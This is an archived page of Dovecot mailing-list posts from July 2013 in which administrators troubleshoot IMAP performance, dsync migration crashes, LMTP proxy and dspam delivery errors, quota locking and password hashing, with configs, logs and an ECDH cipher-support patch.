Hello, I'm migrating a mail server from a centos 5 cluster architecture to a centos 6 cluster architecture. The new cluster involves faster machines then the old cluster, and a virtual machine. I use dovecot-2.0.9-5.el6.x86_64, while the old cluster uses dovecot-2.0.1-1_118.el5. Tha mail server uses mysql for the users database, and a local ldap for authentication. The storage is also much faster in the new cluster: OLD SERVER: date; dd if=/dev/zero of=/cl/prova.bin bs=102400 count=10240; sync; date Wed Jun 26 15:43:53 CEST 2013 10240+0 records in 10240+0 records out 1048576000 bytes (1.0 GB) copied, 30.0202 seconds, 34.9 MB/s Wed Jun 26 15:44:28 CEST 2013 --> 1GB / 35 secs = about 29.25 MB/sec NEW SERVER: date; dd if=/dev/zero of=/cl/prova.bin bs=102400 count=102400; sync; date mar 25 giu 2013, 15.46.36, CEST 102400+0 records in 102400+0 records out 10485760000 bytes (10 GB) copied, 62,5143 s, 168 MB/s mar 25 giu 2013, 15.48.33, CEST [root@eta ~]# ---> 10GB / 117secs = about 85.47MB/sec An 'ls -l' in the user direcotry is also much faster, when the ldap/sssd cache is populated: OLD SERVER: real 0m8.540s user 0m1.229s sys 0m0.699s NEW SERER: real 0m3.938s user 0m0.250s sys 0m0.151s But my imaptest is much slower: ./imaptest user=XXXXXXX pass=XXXXXXX secs=120 seed=123 mbox=./dovecot-crlf OLD SERVER: Totals: Logi List Stat Sele Fetc Fet2 Stor Dele Expu Appe Logo 100% 50% 50% 100% 100% 100% 50% 100% 100% 100% 100% 30% 5% 1122 559 547 1121 1121 1568 136 900 1121 1121 2244 NEW SERVER Totals: Logi List Stat Sele Fetc Fet2 Stor Dele Expu Appe Logo 100% 50% 50% 100% 100% 100% 50% 100% 100% 100% 100% 30% 5% 390 210 185 389 389 589 49 320 389 389 780 The configuration is exactly the same in the 2 clusters, that is: ----------- # 2.0.1: /etc/dovecot/dovecot.conf # OS: Linux 2.6.18-348.3.1.el5 x86_64 Red Hat Enterprise Linux Server release 5.9 (Tikanga) xfs auth_cache_size = 1024 auth_cache_ttl = 21600 s auth_debug = yes auth_debug_passwords = yes auth_master_user_separator = * auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_verbose = yes base_dir = /var/run/dovecot/ disable_plaintext_auth = no hostname = mail.unimore.it info_log_path = /var/log/dovecot.log lda_mailbox_autocreate = yes log_path = /var/log/dovecot.log mail_debug = yes mail_location = maildir:/cl/mail/vhosts/sms.unimo.it/%Ln/Maildir mail_plugins = $mail_plugins quota mailbox_idle_check_interval = 60 s mbox_write_locks = fcntl namespace { inbox = yes location = prefix = INBOX. separator = . type = private } passdb { args = /usr/local/etc/dovecot.masterusers driver = passwd-file master = yes } passdb { args = dovecot driver = pam } plugin { quota = maildir:User quota quota_exceeded_message = Quota exceeded (mailbox is full) quota_rule = *:storage=200MB quota_rule2 = *:messages=100000 quota_rule3 = INBOX.Trash:storage=+100M quota_warning = storage=90%% quota-warning 90 %u quota_warning2 = storage=85%% quota-warning 85 %u quota_warning3 = messages=95%% quota-warning 95 %u quota_warning4 = messages=80%% quota-warning 80 %u setting_name = quota } postmaster_address = postmaster(a)unimore.it quota_full_tempfail = yes service anvil { client_limit = 199999 process_limit = 1 } service auth { client_limit = 21224 unix_listener auth-userdb { mode = 0600 user = vmail } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 } process_limit = 10000 } service imap { process_limit = 10000 } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 } } service pop3 { process_limit = 1024 } service quota-warning { executable = script /usr/local/bin/quota-warning.sh unix_listener quota-warning { group = vmail user = vmail } user = dovecot } ssl_ca = </etc/pki/tls/certs/ca_unimore_tcs.pem ssl_cert = </etc/pki/tls/certs/mailposta1.pem ssl_key = </etc/pki/tls/certs/mailposta1.key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_ssl = yes protocol lda { mail_plugins = $mail_plugins quota } protocol imap { mail_plugins = $mail_plugins } protocol pop3 { mail_plugins = $mail_plugins quota pop3_client_workarounds = outlook-no-nuls oe-ns-eoh pop3_uidl_format = %08Xu%08Xv } ----------- Is anyone able to tell me what I have to check? thanks in advance Fabio Ferrari

2 1

[Dovecot] Strange Problems when deleting folders.
by Davide Bozzelli 10 Jul '13

10 Jul '13

Hi I'm experiencing a strange problem on my dovecot 2.0.21 setup. When i delete a folder "foo" it was correctly moved in the trash folder. If i try to delete from it the folder "foo" from the trash it gets renamed "foo1". If I try to dlete "foo1" it gets renamed foo11, and the operation could be continued figured out in an endless loop. This happens both from thunderbird and sogo (a webmail). Is it a known bug or a misconfiguration ? Thx in advance

2 1

[Dovecot] Migrating domain using IMAPc
by Breno Moreira 10 Jul '13

10 Jul '13

Hi list, I'm trying to do a domain migration using the imapc feature, but i'm having some problems and I really don't know what is happening. So if you guys could help me with a path to solve this, I will be glad. I'm using Dovecot 2.1.7 in a Debian Wheezy machine. The command I'm using is: dsync -Dv -o imapc_features=rfc822.size -o imapc_host=IP -o imapc_port=143 -o imapc_username='breno.moreira(a)mav.com.br' -o imapc_password='pass' -u breno.moreira(a)mav.com.br mirror imapc:/tmp/dsync-imapc and what I got with the logs is: doveadm(root): Debug: Loading modules from directory: /usr/lib/dovecot/modules doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/lib20_zlib_plugin.so doveadm(root): Debug: Loading modules from directory: /usr/lib/dovecot/modules/doveadm doveadm(root): Debug: Skipping module doveadm_acl_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_acl_plugin.so: undefined symbol: acl_user_module (this is usually intentional, so just ignore this message) doveadm(root): Debug: Skipping module doveadm_expire_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_expire_plugin.so: undefined symbol: expire_set_deinit (this is usually intentio nal, so just ignore this message) doveadm(root): Debug: Skipping module doveadm_quota_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_quota_plugin.so: undefined symbol: quota_user_module (this is usually intentiona l, so just ignore this message) doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_zlib_plugin.so doveadm(root): Debug: Skipping module doveadm_fts_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib20_doveadm_fts_plugin.so: undefined symbol: fts_backend_rescan (this is usually intentional, so just ignore this message) doveadm(breno.moreira(a)mav.com.br): Debug: Added userdb setting: mail=sdbox:~/:ALT=/srv/dovehdodd/dovecot/mav.com.br/breno.moreira doveadm(breno.moreira(a)mav.com.br): Debug: Effective uid=5000, gid=5000, home=/srv/dovessdodd/dovecot/mav.com.br/breno.moreira doveadm(breno.moreira(a)mav.com.br): Debug: Namespace : type=private, prefix=INBOX., sep=., inbox=yes, hidden=no, list=yes, subscriptions=yes location=sdbox:~/:ALT=/srv/dovehdodd/dovecot/mav.com.br/breno.moreira doveadm(breno.moreira(a)mav.com.br): Debug: fs: root=/srv/dovessdodd/dovecot/ mav.com.br/breno.moreira, index=, control=, inbox=, alt=/srv/dovehdodd/dovecot/mav.com.br/breno.moreira dsync(breno.moreira(a)mav.com.br): Debug: Effective uid=5000, gid=5000, home=/srv/dovessdodd/dovecot/mav.com.br/breno.moreira dsync(breno.moreira(a)mav.com.br): Debug: Namespace : type=private, prefix=INBOX., sep=., inbox=yes, hidden=no, list=yes, subscriptions=yes location=imapc:/tmp/dsync-imapc dsync(breno.moreira(a)mav.com.br): Debug: imapc: root=/tmp/dsync-imapc, index=, control=, inbox=, alt= dsync(breno.moreira(a)mav.com.br): Debug: maildir++: root=/tmp/dsync-imapc, index=, control=, inbox=, alt= dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Looking up IP address dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Connecting to 187.115.200.155:143 dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Server capabilities: IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE STARTTLS AUTH=PLAIN AUTH=LOGIN dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Authenticating as breno.moreira(a)mav.com.br dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Server capabilities: IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS MULTIAPPEND UNSELECT I DLE CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Authenticated successfully dsync(breno.moreira(a)mav.com.br): Debug: Namespace INBOX.: Using permissions from /srv/dovessdodd/dovecot/mav.com.br/breno.moreira: mode=0700 gid=-1 dsync(breno.moreira(a)mav.com.br): Debug: Namespace INBOX.: Using permissions from /tmp/dsync-imapc: mode=0755 gid=-1 dsync(breno.moreira(a)mav.com.br): Error: Can't create mailbox INBOX: Empty mailbox name. dsync(breno.moreira(a)mav.com.br): Info: INBOX: only in dest (guid=c92f64f79f0d1ed01e6d5b314f04886c) dsync(breno.moreira(a)mav.com.br): Info: INBOX: only in source (guid=f4c6a715e8b1d551112d000042e5307d) dsync(breno.moreira(a)mav.com.br): Error: Mailbox INBOX changed its GUID (c92f64f79f0d1ed01e6d5b314f04886c -> f4c6a715e8b1d551112d000042e5307d) dsync(breno.moreira(a)mav.com.br): Error: msg iteration failed: Couldn't open mailbox c92f64f79f0d1ed01e6d5b314f04886c dsync(breno.moreira(a)mav.com.br): Error: Mailbox INBOX changed its GUID (c92f64f79f0d1ed01e6d5b314f04886c -> f4c6a715e8b1d551112d000042e5307d) dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Looking up IP address dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Connecting to 187.115.200.155:143 dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Server capabilities: IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE STARTTLS AUTH=PLAIN AUTH=LOGIN dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Authenticating as breno.moreira(a)mav.com.br dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Server capabilities: IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS MULTIAPPEND UNSELECT I DLE CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS dsync(breno.moreira(a)mav.com.br): Debug: imapc(187.115.200.155:143): Authenticated successfully dsync(breno.moreira(a)mav.com.br): Panic: file mail-storage.c: line 794 (mailbox_check_mismatching_separators): assertion failed: (vname[0] == ns->prefix[ns->prefix_len-1]) dsync(breno.moreira(a)mav.com.br): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x4373a) [0x7f21a814b73a] -> /usr/lib/dovecot/libdovecot.so.0(default_fatal_handler+0x2a) [0x7f21a814b7fa] -> /usr/lib/dove cot/libdovecot.so.0(i_fatal+0) [0x7f21a81237e2] -> /usr/lib/dovecot/libdovecot-storage.so.0(+0x7ce8e) [0x7f21a8411e8e] -> /usr/lib/dovecot/libdovecot-storage.so.0(mailbox_open+0x18) [0x7f21a8411ed8] -> /usr/lib/d ovecot/libdovecot-storage.so.0(imapc_mailbox_sync_init+0x95) [0x7f21a83fd235] -> /usr/lib/dovecot/libdovecot-storage.so.0(mailbox_sync_init+0x33) [0x7f21a8410e23] -> /usr/lib/dovecot/libdovecot-storage.so.0(mailb ox_sync+0x27) [0x7f21a8410f47] -> /usr/bin/dsync(+0x2ef11) [0x7f21a8b20f11] -> /usr/bin/dsync(+0x2f03f) [0x7f21a8b2103f] -> /usr/bin/dsync(+0x30ac4) [0x7f21a8b22ac4] -> /usr/bin/dsync(dsync_worker_msg_iter_next+0x34) [0x7f21a8b1ffb4] -> /usr/bin/dsync(+0x292b4) [0x7f21a8b1b2b4] -> /usr/bin/dsync(+0x29352) [0x7f21a8b1b352] -> /usr/bin/dsync(dsync_brain_msg_sync_more+0x450) [0x7f21a8b1b7c0] -> /usr/bin/dsync(dsync_brain_sync+0xc21) [0x7f21a8b1a6c1] -> /usr/bin/dsync(+0x28e01) [0x7f21a8b1ae01] -> /usr/bin/dsync(dsync_brain_sync+0x7b7) [0x7f21a8b1a257] -> /usr/bin/dsync(+0x28c98) [0x7f21a8b1ac98] -> /usr/bin/dsync(dsync_brain_sync+0x7f8) [0x7f21a8b1a298] -> /usr/bin/dsync(dsync_brain_sync_all+0x18) [0x7f21a8b1ae68] -> /usr/bin/dsync(+0x25f76) [0x7f21a8b17f76] -> /usr/bin/dsync(+0x26461) [0x7f21a8b18461] -> /usr/bin/dsync(+0x13486) [0x7f21a8b05486] -> /usr/bin/dsync(+0x13f51) [0x7f21a8b05f51] -> /usr/bin/dsync(doveadm_mail_try_run+0x159) [0x7f21a8b063e9] -> /usr/bin/dsync(main+0x3a1) [0x7f21a8b05031] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7f21a7d9cead] Aborted Best Regards, -- --------------------------------------------------------------------- Breno Moreira “O êxito na vida não se mede pelo que você conquistou, mas sim pelas dificuldades que superou no caminho.” * Abraham Lincoln*

3 2

[Dovecot] LMTP Proxy
by Cassidy Larson 10 Jul '13

10 Jul '13

Trying to figure out Proxying with LMTP to a few back end storage servers for quota checking before accepting email delivery on the front end nodes. If I connect to the back end server directly via telnet, everything works great. If I use a front-end server to proxy to the back end server, I don't get the same result. Running 2.2.4 on both front and back end servers. Any help would be appreciated. ------ backend dovecot.log: dovecot: lmtp(72274): Error: userdb lookup(user@host*masteruser): Disconnected unexpectedly dovecot: auth: Fatal: master: service(auth): child 72272 killed with signal 11 (core not dumped) ------ front end dovecot.log: dovecot: lmtp(7495): Debug: auth input: user=user(a)host.comnopassword=<hidden> host=<backend_server_ip> destuser= user(a)host.com*masteruser nologin=Y nodelay=Y proxy=Y pass=<hidden> port=2525 ------ front end dovecot.conf: lmtp_proxy = yes protocols = lmtp protocol lmtp { postmaster_address = postmaster(a)mydomain.com mail_plugins = quota passdb { args = /usr/local/etc/dovecot/dovecot-sql.conf driver = sql } } service lmtp { client_limit = 5 executable = lmtp idle_kill = 0 process_limit = 0 process_min_avail = 0 protocol = lmtp service_count = 0 inet_listener lmtp { address = <frontend_server_ip> port = 2525 } } ------ backend dovecot.conf: auth_master_user_separator = * lmtp_rcpt_check_quota = yes passdb { args = /usr/local/etc/dovecot/dovecot-sql.conf driver = sql master = yes } userdb { args = /usr/local/etc/dovecot/dovecot-sql.conf driver = sql } service lmtp { client_limit = 5 executable = lmtp -L idle_kill = 0 process_limit = 0 process_min_avail = 0 protocol = lmtp service_count = 0 inet_listener lmtp { address = <backend_server_ip> port = 2525 } } protocol lmtp { info_log_path = /var/log/dovecot-lmtp.log postmaster_address = postmaster(a)infowest.com mail_plugins = quota }

3 4

[Dovecot] Non-blocking file_dotlock_open() in quota-maildir question
by do1＠yandex.ru 10 Jul '13

10 Jul '13

Hello, Is it safe to change lines in plugins/quota/quota-maildir.c::maildirsize_write() from fd = file_dotlock_open_group(.., DOTLOCK_CREATE_FLAG_NONBLOCK, ..); to fd = file_dotlock_open_group(.., 0, ..); ? Rationale is: exim+cpanel frequently leave stale maldirsize.lock, but when quota plugin try to dotlock maildirsize, it do this with NONBLOCK flag and just once, so first lock fails with EAGAIN and second may never happen. (When last mail is over quota this also prevent user from further receiving any mail because quota remain exceeded, forver. This is annoing problem.) I wonder if it is possible to do easy fix problem by removing NONBLOCK flag, but as I don't understand why this NONBLOCK flag is used in the first place I decided to ask developers in the list for approval. If removing NONBLOCK flag is not possible I will just call file_dotlock_open_group() twice if first one return -1 with EAGAIN. Best regards, Don.

2 1

[Dovecot] Mailbox statistics (sdbox / indexes) (+ wiki2 frontpage notes)
by Jeroen Massar 10 Jul '13

10 Jul '13

Hi, I used to, with a simple script, loop over the filenames in a Maildir, grab the From from the contents of the file and grab the flags (especially "READ" and "REPLIED") from the filename, but after moving to sdbox these flags are hidden in the index file. Is there anyway to get these out of there programmatically without having to resort to using an imap-client or is that the way to go? (I am effectively counting who has sent the most mail to a mailbox and how many of the the messages have been and have not been replied to; thus another answer would be: "I got a stats program for mailboxes") Greets, Jeroen PS: just reverted the wiki2 Frontpage, apparently even bots know who the author of the IMAP protocol is (leading me to believe that that check does not work): http://wiki2.dovecot.org/FrontPage?action=info I could not find a "revert" button thus copied&pasta'd the previous edition in there. PS2: there seems to be a master.wiki2.dovecot.org and a wiki2.dovecot.org; logging in on the one does not log in on the other, and accounts on the one are different from the other, and it seems cookies go missing also somewhere, hence why an IP is logged and not my account (which I used to have, now was missing and thus I recreated, but needed to do that on both boxes)

3 2

[Dovecot] [PATCH] login-common: Add support for ECDH/ECDHE cipher suites
by David Hicks 10 Jul '13

10 Jul '13

# HG changeset patch # User David Hicks <david(a)hicks.id.au> # Date 1373085976 -36000 # Sat Jul 06 14:46:16 2013 +1000 # Node ID ccd83f38e4b484ae18f69ea08631eefcaf6a4a4e # Parent 1fbac590b9d4dc05d81247515477bfe6192c262c login-common: Add support for ECDH/ECDHE cipher suites ECDH temporary key parameter selection must be performed during OpenSSL context initialisation before ECDH and ECDHE cipher suites can be used. OpenSSL >= 1.0.2 automatically handles ECDH temporary key parameter selection. For OpenSSL < 1.0.2 we must manually specify a named elliptic curve that Dovecot will use to generate an ephemeral key pair. By default we try to use the same named curve as that used in the server's private EC key file. If this attempt fails, a fall back curve of NIST P-384 (secp384r1) is used instead. RFC 6460 states that NIST P-384 MUST be used for cipher suites that include AES-256. For cipher suites that include AES-128, RFC 6460 states that NIST P-256 MUST be used. No matter which curve is used as a fall back option, Dovecot will be non-compliant. The reason for selecting NIST P-384 as a fall back curve is to ensure that the non-compliance is in the form of providing too great a level of security for AES-128 cipher suites rather than too little security for AES-256 cipher suites. diff -r 1fbac590b9d4 -r ccd83f38e4b4 src/login-common/ssl-proxy-openssl.c --- a/src/login-common/ssl-proxy-openssl.c Fri Jun 28 19:48:37 2013 +0300 +++ b/src/login-common/ssl-proxy-openssl.c Sat Jul 06 14:46:16 2013 +1000 @@ -119,6 +119,10 @@ const struct master_service_ssl_settings *ssl_set); static void ssl_server_context_deinit(struct ssl_server_context **_ctx); +static void ssl_proxy_ctx_set_crypto_params(SSL_CTX *ssl_ctx, + const struct master_service_ssl_settings *set); +static int ssl_proxy_ctx_get_pkey_ec_curve_name(const struct master_service_ssl_settings *set); + static unsigned int ssl_server_context_hash(const struct ssl_server_context *ctx) { unsigned int i, g, h = 0; @@ -993,11 +997,58 @@ store = SSL_CTX_get_cert_store(ssl_ctx); load_ca(store, set->ssl_ca, load_xnames ? &xnames : NULL); } + ssl_proxy_ctx_set_crypto_params(ssl_ctx, set); SSL_CTX_set_info_callback(ssl_ctx, ssl_info_callback); + return xnames; +} + +static void +ssl_proxy_ctx_set_crypto_params(SSL_CTX *ssl_ctx, + const struct master_service_ssl_settings *set) +{ +#if !defined(OPENSSL_NO_ECDH) && OPENSSL_VERSION_NUMBER >= 0x10000000L && OPENSSL_VERSION_NUMBER < 0x10002000L + EC_KEY *ecdh; + int nid; + const char *curve_name; +#endif if (SSL_CTX_need_tmp_RSA(ssl_ctx)) SSL_CTX_set_tmp_rsa_callback(ssl_ctx, ssl_gen_rsa_key); SSL_CTX_set_tmp_dh_callback(ssl_ctx, ssl_tmp_dh_callback); - return xnames; +#if !defined(OPENSSL_NO_ECDH) + /* In the non-recommended situation where ECDH cipher suites are being + used instead of ECDHE, do not reuse the same ECDH key pair for + different sessions. This option improves forward secrecy. */ + SSL_CTX_set_options(ssl_ctx, SSL_OP_SINGLE_ECDH_USE); +#endif +#if !defined(OPENSSL_NO_ECDH) && OPENSSL_VERSION_NUMBER >= 0x10002000L + /* OpenSSL >= 1.0.2 automatically handles ECDH temporary key parameter + selection. */ + SSL_CTX_set_ecdh_auto(ssl_ctx, 1); +#elif !defined(OPENSSL_NO_ECDH) && OPENSSL_VERSION_NUMBER >= 0x10000000L + /* For OpenSSL < 1.0.2, ECDH temporary key parameter selection must be + performed manually. Attempt to select the same curve as that used + in the server's private EC key file. Otherwise fall back to the + NIST P-384 (secp384r1) curve to be compliant with RFC 6460 when + AES-256 TLS cipher suites are in use. This fall back option does + however make Dovecot non-compliant with RFC 6460 which requires + curve NIST P-256 (prime256v1) be used when AES-128 TLS cipher + suites are in use. At least the non-compliance is in the form of + providing too much security rather than too little. */ + nid = ssl_proxy_ctx_get_pkey_ec_curve_name(set); + ecdh = EC_KEY_new_by_curve_name(nid); + if (ecdh == NULL) { + /* Fall back option */ + nid = NID_secp384r1; + ecdh = EC_KEY_new_by_curve_name(nid); + } + if ((curve_name = OBJ_nid2sn(nid)) != NULL) + i_debug("SSL: elliptic curve %s will be used for ECDH and" + " ECDHE key exchanges", curve_name); + if (ecdh != NULL) { + SSL_CTX_set_tmp_ecdh(ssl_ctx, ecdh); + EC_KEY_free(ecdh); + } +#endif } static void @@ -1084,6 +1135,28 @@ } static int +ssl_proxy_ctx_get_pkey_ec_curve_name(const struct master_service_ssl_settings *set) +{ + int nid = 0; +#if !defined(OPENSSL_NO_ECDH) && OPENSSL_VERSION_NUMBER >= 0x10000000L && OPENSSL_VERSION_NUMBER < 0x10002000L + EVP_PKEY *pkey; + const char *password; + EC_KEY *eckey; + EC_GROUP *ecgrp; + + password = *set->ssl_key_password != '\0' ? set->ssl_key_password : + getenv(MASTER_SSL_KEY_PASSWORD_ENV); + pkey = ssl_proxy_load_key(set->ssl_key, password); + if (pkey != NULL && + (eckey = EVP_PKEY_get1_EC_KEY(pkey)) != NULL && + (ecgrp = EC_KEY_get0_group(eckey)) != NULL) + nid = EC_GROUP_get_curve_name(ecgrp); + EVP_PKEY_free(pkey); +#endif + return nid; +} + +static int ssl_proxy_ctx_use_certificate_chain(SSL_CTX *ctx, const char *cert) { /* mostly just copy&pasted from SSL_CTX_use_certificate_chain_file() */ @@ -1209,7 +1282,6 @@ #endif ssl_proxy_ctx_use_key(ctx->ctx, ssl_set); - SSL_CTX_set_info_callback(ctx->ctx, ssl_info_callback); if (ctx->verify_client_cert) ssl_proxy_ctx_verify_client(ctx->ctx, xnames);

2 1

[Dovecot] dovecot.index disappeared
by Metro Domain Admin 10 Jul '13

10 Jul '13

Hello, One of my users just mysteriously lost all files from his inbox. I have "mail_log_events = delete undelete expunge copy mailbox_delete mailbox_rename" but couldn't find any evidence of accidental file or folder deletion. I logged in to find that ~user/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index and its backup were tiny, only 552 bytes, when the folder had thousands of messages. Other folders were left intact. We are running 2.1.15 (mdbox) on Ubuntu 12.10 using ext4. The system was rebooted about 10 days before and the full INBOX was definitely seen since the reboot. I'm just looking for ideas about what might have happened. Thanks, Tony

2 1

[Dovecot] Right way to share some global mailboxes
by Dieter Knopf 09 Jul '13

09 Jul '13

Hello, i'm using Dovecot since a long time but now I need to share folders for global mail adresses like info@ and support@ between all users. What is the right way to share this mailboxes between many users (everyone with own read flag). My config for location is: mail_location = maildir:/home/vmail/%d/%n:INDEX=/home/vmail-indexes/%d/%n And now i have a folder like /home/vmail/bar.com/foo for sharing... Thanks!

3 3

Re: [Dovecot] Anyone know dovecot?
by Reindl Harald 09 Jul '13

09 Jul '13

Am 09.07.2013 13:52, schrieb Tom Horsley: > I keep getting this sort of garbage cluttering my logs: > > dovecot: master: Warning: /ada/denmark is no longer mounted. See http://wiki2.dovecot.org/Mountpoints: 1 Time(s) > > I have indeed seen the wiki page mentioned, and even > tried what it says, but nothing seems to "stick". > Any time a filesystem gets mounted, I apparently > also have to invoke doveadm yet again to make > it ignore the new dadgum filesystem. (The wildcards > mentioned in that web page seem only to apply to > existing filesystems, not new mounts). > > Is there a way to just make it stop forever? no, i asked on the dovecot list why this happens since dovecot 2.0 and upstream believes it is a good idea to assume that every random mounted FS could be relevant for email because it *may* be referred in a config-include instead throw only a fatal error if this is the case and something can not be accessed

1 0

[Dovecot] (no subject)
by Dotan Cohen 08 Jul '13

08 Jul '13

On an Ubuntu Server 12.04 system with Dovecot 2.0.19 I am having some trouble with the Dovecot passwords. I am finding this in the logs when I unsuccessfully try to log in: Jul 07 08:13:25 auth-worker: Debug: pam(user(a)someDomain.com,212. 179.241.14): lookup service=dovecot Jul 07 08:13:25 auth-worker: Debug: pam(user(a)someDomain.com,212.179.241.14): #1/1 style=1 msg=Password: Jul 07 08:13:27 auth-worker: Info: pam(user(a)someDomain.com,212.179.241.14): pam_authenticate() failed: Authentication failure (password mismatch?) (given password: 12345) Jul 07 08:13:29 auth: Debug: client out: FAIL 2 user=user(a)someDomain.com Jul 07 08:13:29 pop3-login: Info: Disconnected (auth failed, 2 attempts): user=<user(a)someDomain.com>, method=PLAIN, rip=212.179.241.14, lip=10.138.11.251 This is not the real password, but an example to show that I think that there is an issue: $ /usr/bin/doveadm pw -u user(a)someDomain.com -s DIGEST-MD5 Enter new password: # Here I have typed "12345" Retype new password: # Here I have typed "12345" {DIGEST-MD5}f4e442b0dec5009eaa8b9b4104923edc $ printf "12345" | md5sum 827ccb0eea8a706c4c34a16891f84e7b - $ Shouldn't that password match the md5sum check? Also, might I have the file formats wrong? $ cat passwd user@someDomain.com::5000:5000::/var/mail/vhosts/someDomain.com/user $ cat shadow user@someDomain.com:{DIGEST-MD5}f4e442b0dec5009eaa8b9b4104923edc $ Note that testing in Telnet fails the password as well, both when specifying the user without a domain and with a domain: $ telnet mail.someDomain.com 143 Trying x.x.x.x... Connected to mail.someDomain.com. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready. a login user 12345 a NO [AUTHENTICATIONFAILED] Authentication failed. e logout * BYE Logging out e OK Logout completed. Connection closed by foreign host. $ telnet mail.someDomain.com 143 Trying x.x.x.x... Connected to mail.someDomain.com. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready. a login user(a)someDomain.com 12345 a NO [AUTHENTICATIONFAILED] Authentication failed. * BAD Error in IMAP command received by server. e logout * BYE Logging out e OK Logout completed. Connection closed by foreign host. Thanks! -- Dotan Cohen http://gibberish.co.il http://what-is-what.com

2 2

[Dovecot] DOVECOT 2.2.4 = 501 5.5.4 Unsupported options in LMTP
by Dmitry 06 Jul '13

06 Jul '13

Hi, Sorry for my english. My problem: *************************************************** dspam-3.9.0 (dspam-3.10.2 all the time segmentation fault) dspam.conf .................... # DeliveryHost /var/run/dovecot/lmtp # same error as IP DeliveryHost 127.0.0.33 DeliveryPort 24 DeliveryProto LMTP .................... ServerHost 192.168.1.34 ServerPort 24 ServerQueueSize 32 ServerPID /var/run/dspam/dspam.pid *************************************************** dovecot-2.2.4 10-master.conf service lmtp { # Create inet listener only if you can't use the above UNIX socket inet_listener lmtp { # Avoid making LMTP visible for the entire internet address = 127.0.0.33 port = 24 } } quota is not included *************************************************** telnet to dspam LMTP # telnet 192.168.1.34 24 Trying 192.168.1.34... Connected to 192.168.1.34. Escape character is '^]'. 220 DSPAM LMTP 3.9.0 Ready LHLO test.com 250-localhost.localdomain 250-PIPELINING 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 SIZE MAIL FROM:<test(a)test.com> 250 2.1.0 OK RCPT TO:<user(a)test.com> 250 2.1.5 OK DATA 354 Enter mail, end with "." on a line by itself 1234567 qwertyu asdfghj . 530 5.3.0 <user(a)test.com> Fatal: 501 5.5.4 Unsupported options QUIT 221 2.0.0 OK Connection closed by foreign host. *************************************************** at the same time tcpflow LMTP # tcpflow -c -i any host 127.0.0.33 127.000.000.033.00024-127.000.000.001.41663: 220 mail Dovecot ready. 127.000.000.001.41663-127.000.000.033.00024: LHLO localhost 127.000.000.001.41663-127.000.000.033.00024: 127.000.000.033.00024-127.000.000.001.41663: 250-mail 250-8BITMIME 250-ENHANCEDSTATUSCODES 250 PIPELINING 127.000.000.001.41663-127.000.000.033.00024: MAIL FROM:<test(a)test.com> SIZE=25 127.000.000.001.41663-127.000.000.033.00024: 127.000.000.033.00024-127.000.000.001.41663: 501 5.5.4 Unsupported options 127.000.000.001.41663-127.000.000.033.00024: QUIT 127.000.000.001.41663-127.000.000.033.00024: 127.000.000.033.00024-127.000.000.001.41663: 221 2.0.0 OK ^Ctcpflow[5411]: terminating *************************************************** after telnet to dovecot LMTP # telnet 127.0.0.33 24 Trying 127.0.0.33... Connected to 127.0.0.33. Escape character is '^]'. 220 mail Dovecot ready. LHLO test.com 250-mail 250-8BITMIME 250-ENHANCEDSTATUSCODES 250 PIPELINING MAIL FROM:<test(a)test.com> 250 2.1.0 OK RCPT TO:<user(a)test.com> 250 2.1.5 OK DATA 354 OK 1234567 qwertyu asdfghj . 250 2.0.0 <user(a)test.com> WVKvFEln1VEuFQAAZU03Dg Saved QUIT 221 2.0.0 OK How can I persuade dovecot to deliver the mail? And one more: telnet to dovecot LMTP # telnet 127.0.0.33 24 .................... MAIL FROM: test(a)test.com 501 5.5.4 Invalid parameters MAIL FROM: <test(a)test.com> 501 5.5.4 Invalid parameters MAIL FROM:<test(a)test.com> 250 2.1.0 OK telnet to dspam LMTP # telnet 192.168.1.34 24 .................... MAIL FROM: test(a)test.com 250 2.1.0 OK .................... # telnet 192.168.1.34 24 .................... 